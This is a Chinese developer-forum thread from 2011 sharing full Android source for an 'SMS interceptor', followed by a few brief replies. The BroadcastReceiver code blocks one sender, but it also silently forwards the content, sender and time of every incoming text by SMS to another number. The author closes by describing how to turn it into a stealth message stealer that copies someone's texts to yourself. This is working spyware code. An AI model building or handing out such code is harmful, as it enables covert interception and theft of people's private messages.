浏览 12106 次
锁定老帖子 主题:android 短信拦截器 代码
精华帖 (0) :: 良好帖 (0) :: 新手帖 (0) :: 隐藏帖 (0)
|
|
---|---|
作者 | 正文 |
发表时间:2011-09-21
最后修改:2011-09-21
下面我附上自己做的这个拦截器的代码供大家参考。 main.xml layout <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" > <Button android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="注册拦截" android:onClick="regiset" /> <Button android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="解注册拦截" android:onClick="unregiset" /> </LinearLayout> 首页显示的SmsListenerActivity: package com.tk178zhe.android.SmsListener; import android.app.Activity; import android.content.IntentFilter; import android.os.Bundle; import android.view.View; import android.widget.Toast; public class SmsListenerActivity extends Activity { private SmsRecevier recevier; private boolean isregiset = false; private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); recevier = new SmsRecevier(); } public void regiset(View v) { IntentFilter filter = new IntentFilter(ACTION); filter.setPriority(1000);//设置优先级最大 registerReceiver(recevier, filter); isregiset = true; Toast.makeText(this, "注册成功", 0).show(); } public void unregiset(View v) { if (recevier != null && isregiset) { unregisterReceiver(recevier); isregiset = false; Toast.makeText(this, "解注册成功", 0).show(); } else Toast.makeText(this, "尚未注册", 0).show(); } @Override protected void onDestroy() { super.onDestroy(); if (recevier != null && isregiset) { unregisterReceiver(recevier); isregiset = false; Toast.makeText(this, "解注册成功", 0).show(); } } } 如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。 AndroidManifest.xml: <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.tk178zhe.android.SmsListener" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="8" /> <application android:icon="@drawable/icon" android:label="@string/app_name"> <activity android:name=".SmsListenerActivity" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做 <receiver android:name=".SmsRecevier"> <intent-filter android:priority="1000"> 将优先级设到最大 <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> --> </application> <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 --> <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> </manifest> SmsRecevier类用作拦截信息。 package com.tk178zhe.android.android; import java.text.SimpleDateFormat; import java.util.Date; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class SmsRecevier extends BroadcastReceiver { public SmsRecevier() { Log.v("TAG", "SmsRecevier create"); } @Override public void onReceive(Context context, Intent intent) { Log.v("TAG", "SmsRecevier onReceive"); Object[] pdus = (Object[]) intent.getExtras().get("pdus"); if (pdus != null && pdus.length > 0) { SmsMessage[] messages = new SmsMessage[pdus.length]; for (int i = 0; i < pdus.length; i++) { byte[] pdu = (byte[]) pdus[i]; messages[i] = SmsMessage.createFromPdu(pdu); } for (SmsMessage message : messages) { String content = message.getMessageBody();// 得到短信内容 String sender = message.getOriginatingAddress();// 得到发信息的号码 if (sender.equals("110")) { abortBroadcast();// 中止发送 Log.e("TAG", "此号码为黑名单号码,已拦截!"); } Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss"); String sendContent = format.format(date) + ":" + sender + "--" + content; SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的 smsManager.sendTextMessage("", null, sendContent, null, null);// 转发给 Log.v("TAG", sendContent); } } } } 这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给178。我们可以通过Log的打印信息来观察结果。当然我们可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到不动声色的窃取别人的信息内容了 声明:ITeye文章版权属于作者,受法律保护。没有作者书面许可不得转载。
推荐链接
|
|
返回顶楼 | |
发表时间:2011-09-23
最后修改:2011-09-23
不错,拷过来试一下~
纠正个单词 receiver. |
|
返回顶楼 | |
发表时间:2011-09-24
能否阻止自己的手机发送短信出去呢?
|
|
返回顶楼 | |
发表时间:2011-09-28
wavers 写道 能否阻止自己的手机发送短信出去呢?
这个好像只能拦截别人发过来的短信,你若想不自动发短信可以直接改自己的短信发送服务号码。 |
|
返回顶楼 | |
发表时间:2011-09-28
正处于入门阶段,下载下来好好看看,希望有帮助。
|
|
返回顶楼 | |
发表时间:2011-09-29
wuut 写道 wavers 写道 能否阻止自己的手机发送短信出去呢?
这个好像只能拦截别人发过来的短信,你若想不自动发短信可以直接改自己的短信发送服务号码。 想在发短信的时候,拦住系统的发送出去,转到自己的软件去发送 |
|
返回顶楼 | |